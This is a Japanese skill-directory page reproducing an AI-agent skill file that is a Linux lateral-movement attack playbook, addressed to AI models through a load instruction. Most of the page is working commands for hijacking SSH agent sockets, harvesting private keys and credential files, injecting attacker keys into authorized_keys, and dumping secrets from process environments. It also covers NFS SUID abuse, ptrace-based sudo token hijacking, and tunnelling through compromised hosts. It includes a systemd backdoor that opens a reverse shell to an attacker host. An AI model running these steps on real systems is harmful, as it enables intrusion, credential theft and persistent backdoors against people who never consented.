Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

linux-lateral-movement

初期アクセス取得後にLinux環境内で横断的移動を行うためのプレイブック。SSHハイジャック、クレデンシャル収集、内部ピボット、D-Busの悪用、sudoトークンの再利用、共有ファイルシステムの悪用を通じて、複数のLinuxホスト間を横断的に侵害する際に使用する。

description の原文を見る

>- Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.

SKILL.md 本文

SKILL: Linux Lateral Movement — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.

0. RELATED ROUTING

詳しく説明する前に、以下の読み込みを検討してください:

  • linux-privilege-escalation ピボット前に現在のホストでroot権限が必要な場合
  • linux-security-bypass 制限されたシェルまたはセキュリティモジュールが横展開ツールをブロックしている場合
  • container-escape-techniques ターゲットネットワークにコンテナ化されたホストが含まれている場合
  • kubernetes-pentesting Kubernetesクラスターへのピボット時
  • unauthorized-access-common-services 検出された内部サービス(Redis、MongoDBなど)を悪用する場合

1. SSH AGENT HIJACKING

1.1 SSH Agent ソケットの検索

# Root権限(または他ユーザーのプロセスにアクセス可能):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# または /proc経由:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

# 典型的なパス: /tmp/ssh-XXXXXX/agent.PID

1.2 Agent フォワーディングのハイジャック

# 見つけたソケットを認証エージェントとして設定
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345

# エージェント内で利用可能なキーをリストアップ
ssh-add -l
# キーが表示される → 使用可能

# このエージェントが認証できるホストへSSH接続
ssh -o StrictHostKeyChecking=no user@internal-host

# エージェント所有者は気付かない — フォワードされたエージェントを使用している

1.3 永続的なエージェント監視

# 新しいSSH agentソケットを監視(admin がSSHで接続するまで待機)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# または ポーリング:
while true; do
    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
    touch /tmp/.marker
    sleep 5
done

2. SSH KEY HARVESTING

2.1 秘密鍵ロケーション

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# また: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*

# パスフレーズなしのキーを検索:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
    ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done

2.2 known_hosts のパース

# ハッシュ化された known_hosts (一般的なデフォルト):
cat ~/.ssh/known_hosts
# ハッシュ化されているかもしれません — ssh-keygent で既知IPを確認:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts

# ハッシュ化されていない known_hosts → 直接IPやホスト名リスト
awk '{print $1}' ~/.ssh/known_hosts | sort -u

# すべてのユーザーの known_hosts からすべてのホスト名/IPを抽出
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
  | awk '{print $1}' | tr ',' '\n' | sort -u

2.3 authorized_keys インジェクション

# 攻撃者キーペアを生成(攻撃者ボックス上)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""

# 公開鍵を注入(侵害されたホスト上)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys

# 我々のキーで SSHで戻る
ssh -i /tmp/pivot_key root@target

3. CREDENTIAL HARVESTING ロケーション

3.1 システム認証情報

ロケーション内容コマンド
/etc/shadowパスワードハッシュcat /etc/shadow (root)
/etc/passwdユーザーリスト、ハッシュ含む場合ありcat /etc/passwd
.bash_historyコマンド履歴(クリアテキストのパスワード)cat /home/*/.bash_history
.mysql_historyMySQLコマンドとパスワードcat /home/*/.mysql_history
.psql_historyPostgreSQL コマンドcat /home/*/.psql_history
.pgpassPostgreSQL パスワードファイルcat /home/*/.pgpass
.my.cnfMySQL認証情報cat /home/*/.my.cnf
.netrcFTP/HTTP自動ログイン認証情報cat /home/*/.netrc
.git-credentialsGit HTTPSパスワードcat /home/*/.git-credentials

3.2 環境変数 & コンフィグファイル

# 現在のプロセスシークレット
env | grep -iE "pass|key|secret|token|api|cred|auth"

# すべてのプロセス環境(root):
for pid in /proc/[0-9]*; do
    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done

# アプリケーション設定(一般的な認証情報ロケーション):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
     -o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null

# キーリング & シークレットストア:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null

4. D-BUS EXPLOITATION

4.1 D-Bus サービスの列挙

# システムバスサービスをリストアップ
dbus-send --system --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# セッションバスサービスをリストアップ
dbus-send --session --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# サービスのイントロスペクト(利用可能なメソッドを検索)
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply \
  /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect

4.2 D-Bus 経由で systemd & PolicyKit を悪用

# D-Bus経由でサービスを開始(ポリシーが許可している場合):
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply /org/freedesktop/systemd1 \
  org.freedesktop.systemd1.Manager.StartUnit \
  string:"malicious.service" string:"replace"

# 認証なしで利用可能な polkit アクション:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"

5. INTERNAL NETWORK PIVOTING

5.1 SSH トンネリング

# ローカルポートフォワード: localhost:3306 経由で INTERNAL_HOST:3306 にアクセス
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host

# リモートポートフォワード: 攻撃者サービスを内部ネットワークに公開
ssh -R 8080:ATTACKER:8080 pivot@compromised-host

# Dynamic SOCKSプロキシ: すべてのトラフィックをピボット経由でルート
ssh -D 1080 pivot@compromised-host
# その後: proxychains nmap -sT INTERNAL_RANGE

# SSH over SSH(マルチホップ):
ssh -J user1@hop1,user2@hop2 target@final-host

5.2 SSH なし — 代替トンネル

# socat ポートフォワード
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &

# ncat リレー
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"

# /dev/tcp (Bash 組み込み、ツール不要)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3

# chisel (HTTP経由SOCKSプロキシ)
# 攻撃者側: chisel server -p 8080 --reverse
# ターゲット側:   chisel client ATTACKER:8080 R:socks

5.3 侵害されたホストからのネットワーク発見

ss -tlnp && ss -tnp                  # リッスン & 確立された接続
arp -a && ip neigh                    # 既知の隣接ホスト
cat /etc/resolv.conf                  # DNSサーバー
dig axfr internal.domain @dns 2>/dev/null   # ゾーン転送

# サブネットスイープ(bash のみ、ツール不要):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait

# /dev/tcp 経由ポートスキャン:
for port in 22 80 443 3306 5432 6379 8080; do
    (echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done

6. SHARED FILESYSTEM EXPLOITATION

6.1 NFS マウント

# NFS共有の検出
showmount -e FILESERVER_IP 2>/dev/null

# no_root_squash を確認(rootがrootにマップ)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# no_root_squash の場合: 他のホストから見えるSUIDバイナリを作成

# 同じ共有をマウントするすべてのホスト → SUID バイナリ = すべてのホストでroot
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash

6.2 SMB/CIFS 共有

# 共有を列挙
smbclient -L //FILESERVER_IP/ -N 2>/dev/null      # Null セッション
smbclient -L //FILESERVER_IP/ -U 'user%password'

# マウントして認証情報を検索
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
     -o -name "*.xlsx" -o -name "*.docx" 2>/dev/null

7. SUDO TOKEN REUSE (ptrace-Based)

# 別のユーザーがアクティブな sudo セッション(タイムスタンプが期限切れでない)を持つ場合:
# かつ、我々がそのプロセスを ptrace できる場合(同じUID または root)

# sudo タイムスタンプファイルを確認:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# ここにファイルがある = アクティブな sudo トークン

# ptrace ベースハイジャック:
# ユーザーのシェルプロセスにアタッチ
# インジェクト: sudo /bin/bash
# インジェクトされたsudo は有効なタイムスタンプを継承 → パスワード不要

# 自動化ツール: sudo_inject
# https://github.com/nongiach/sudo_inject
# 有効な sudo トークン持つプロセスにインジェクト

8. SYSTEMD SERVICE MANIPULATION

# 書き込み可能なユニットファイルを検索:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null

# 既存サービスに注入(ExecStartPre= を追加):
# または新規作成: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service

9. LATERAL MOVEMENT DECISION TREE

侵害されたホスト — 次はどこへ移動?
│
├── SSH認証情報は利用可能?
│   ├── 秘密鍵が見つかった? → すべての known_hosts ターゲットで試行(§2)
│   ├── SSH agent 実行中? → ソケットをハイジャック(§1)
│   ├── パスワードが履歴/設定にある? → ホスト間でスプレー(§3)
│   └── 他のホストで authorized_keys 書き込み可能? → キーをインジェクト(§2.3)
│
├── ネットワークサービスが検出された?
│   ├── 内部Webアプリ? → トンネル + 攻撃(§5.1)
│   ├── データベース(3306/5432/6379)? → 収集された認証情報を確認(§3)
│   ├── SMB/NFS 共有? → マウント + 認証情報/SUID を検索(§6)
│   └── Kubernetes API (6443)? → kubernetes-pentesting skill を読み込み
│
├── 他のホストに到達可能?
│   ├── 直接SSH? → キー/パスワードを使用
│   ├── ファイアウォール設定? → SSH トンネルまたは chisel(§5)
│   └── ツールなし? → /dev/tcp + bash(§5.2)
│
├── 現在のホストで Root?
│   ├── /etc/shadow を読み込む → ハッシュをクラック → パスワード再利用(§3)
│   ├── /proc/*/environ をダンプ → サービス認証情報を検索(§3.2)
│   ├── sudo トークンをハイジャック → admin セッションに相乗り(§7)
│   └── systemd サービスを変更 → バックドア(§8)
│
├── D-Bus サービスが利用可能?
│   ├── 特権サービスが公開? → メソッドコール悪用(§4)
│   └── 認証なしの polkit アクション? → 特権アクション(§4.2)
│
└── 明らかなパスがない?
    ├── ARP スキャン + ポートスイープ内部ネットワーク(§5.3)
    ├── パッシブ認証情報スニッフィング(cap_net_raw がある場合)
    ├── admin SSH を待機 → agent をハイジャック(§1.3)
    └── クラウドメタデータを確認(169.254.169.254)

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT